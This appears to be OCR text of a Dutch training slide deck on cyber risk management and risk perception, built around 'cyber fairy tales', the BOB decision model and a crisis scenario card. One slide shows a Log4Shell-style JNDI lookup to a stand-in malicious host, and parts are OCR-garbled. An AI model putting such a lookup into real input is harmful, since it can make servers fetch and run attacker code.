| Rlsmomanagement aan
de hand van cybersprookles
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 Over jullie..

* Risicomanagement theorie vs praktijk
 Uitdagingen risicoperceptie

« Jullie ervaringen

* Oorzaken perceptieverschillen

* Oefenen: BOB-model voor risicobeoordeling

e Afdronk



Over jullie...




Risicomanagement theorie vs praktij

Risk = (Threat x Vulnerabilities) x Impact




public static void main(String| ] args) {
logger.error("${jndi:1ldap://maliciousexternalhost.com/resource}");
}



* Op een schaal van 1 tot 4, hoe moeilijk is het om een
risicobeeld goed over te dragen van aan je
eindverantwoordelijke?

* Op een schaal van 1 tot 4, hoe moeilijk is het om een
risicobeeld van je adviseur goed te begrijpen?

* Hoe ga je hiermee om?

* Hoe weet je of je allebei hetzelfde beeld hebt?



Oorzaken perceptieverschillen

Adviserend

Uitvoerend Controlerend
Alfawetenschappen bestuderen Bétawetenschappen bestuderen de natuur Gammawetenschappen
de producten van de menselijke geest en natuurlijke wetmatigheden/principes bestuderen het menselijk handelen

Medische
wetenschappen

Exacte en
natuurwetenschappen

Technische
wetenschappen

Eindverantwoordelijk



Oefenen: BOB-model voor risicobeoordeling

Stap 1: Beeldvorming

 kan best lastig zijn....



Instructions
Count how many times the

players wearing white pass
the basketball.

Instructions
Count how many times the players wearing white pass the basketball.




Oefenen: BOB-model voor risicobeoordeling

Stap 1: Beeldvorming (wat bedreigt ons)

* een dreiging dient zich aan.. [cybersprookjes p 21]



Oefenen: BOB-model voor risicobeoordeling

Stap 1: Beeldvorming (wat bedreigt ons)
* een dreiging dient zich aan.. [cybersprookjes p 21]

e wat is de dreiging?



Oefenen: BOB-model voor risicobeoordelin

Stap 1: Beeldvorming (wat bedreigt ons)

* een dreiging dient zich aan.. [cybersprookjes p 21]

wat is de dreiging?

+

+

+

+

wat is de verwachte impact
hoe dichtbij is de dreiging
wat vinden anderen

zou het nepnieuws kunnen zijn



Oefenen: BOB-model voor risicobeoordelin

Stap 2: Oordeelsvorming (hoe erg is dat)
 de dreiging is reéel.. [cybersprookjes p 22]

* hoe erg is dat?
+ veiligheidsissue

+ fysieke scheiding nodig



Oefenen: BOB-model voor risicobeoordelin

Stap 2: Oordeelsvorming (hoe erg is dat)
 de dreiging is reéel.. [cybersprookjes p 22]

* hoe erg is dat?
+ veiligheidsissue

+ fysieke scheiding nodig



Oefenen: BOB-model voor risicobeoordelin

Stap 3: Besluitvorming (wat moeten we dan kunnen)

* een de slag met maatregelen.. [cybersprookjes p 23]

« wat moet er nu gebeuren?
+ eensgezind over de maatregel
+ verschillen in belangenafweging

+ verschillen in uitvoering



Afdronk

* risico’s worden niet altijd goed begrepen
« controleer of beelden overeenkomen

 gebruik hulpmiddelen (bijvoorbeeld sprookjes)
+ 1in sprookjes worden de belangrijkste kenmerken sterk overdreven
+ sprookjes hebben een moralistische ondertoon

+ biedt common ground voor gemeenschappelijke beeldvorming

 gebruik visuele hulpmiddelen bij de beeldvorming



Scenariokaart Cybercrisis

Instructie
In een cybercrisis is de BOB-structuur een goade I t
methode om tot juiste besluiten te komean. uﬂ[ﬂ'ﬂﬁer rtnp hﬂsﬁ-
@ van m
/ Beeld gigen \CT/er is een eigep
workaround mogejjj
x
s
Besluit Oordeel Wie kan dit
N probleem
Deze scenarickaart is een hulpmiddel om tijdens een Zijn er ﬂpIGSf'e'n?
cybercrisis te komen tot gedegen beeldvorming . keteneffecten of Is er sprake
i r

‘Wan binnen naar buiten memen de ernst en omvang Lk hEF_S‘,I'S'[-E-Em van opzet!
van een scenario toe. Ga als volgt te werk om het bedrijfskritisch?
scenario te bepalen en te bewaken. e
als Beantwoord zoveel mogelijk van de wragen 1 Hoe |ang gaat 9 o

tfm 5 wvanuit technisch perspectief, zet telkens d tori Is er

een kruis bij het best passende antwoord. € verstoring technisch
F3 Beantwoord zoveel mogelijk van de vragen 1 . (verwacht) oorzaak oplossings-

t/m 5 wanuit organisatorisch perspectief, zet duren? 0 . B .

telkens een kruis bij het best passende l e [_h NISC |'| DEFSDECUEW

antwoord.
3. Het kruisje in de meest buitente ring bepaalt - 5

het zcenario, zie leganda. DrganlsatDI"ISCh 5
4. Communicear dit scenario (intern en extern) Welk geografisch fect o Watis de
5. Indien van toepassing: zoek antwoorden op nog ehiedis efrec maatg{happelij ke

niet beantwoorde vragen. B impact?
&. Gebruik deze scenarickaart in elke BOB-cyclus geraakt? o 9 pa

opnieuw om verbetering of escalatie te

signaleren.

Hoe lang gaan
de effecten Is reductie
(verwacht) van de impact

duren? '_WEIk bl mogelijk?
is verstoord?

Legenda
$1: Klein scenario, beperkte impact

52: Gemiddeld scenario, langere termijn,
enige impact op maatschappelijk leven

S3: Groot scenario, lange verstoring, grote
impact, onduidelijke oplossing

54 Zeer groot scenario, (inter)nationale
Crisis

Verstoring vitale sector




Afdronk

* risico’s worden niet altijd goed begrepen
« controleer of beelden overeenkomen

 gebruik hulpmiddelen (bijvoorbeeld sprookjes)
+ 1in sprookjes worden de belangrijkste kenmerken sterk overdreven
+ sprookjes hebben een moralistische ondertoon

+ biedt common ground voor gemeenschappelijke beeldvorming
 gebruik visuele hulpmiddelen bij de beeldvorming

 versimpeling draagt bij aan sensemaking van ingewikkelde thematiek



Risicodialoog in de praktij

Het risico dat een toren van vijf eieren omvalt is
theoretisch te berekenen, in de praktijk betekent het dat
er omelet op het menu zal staan.
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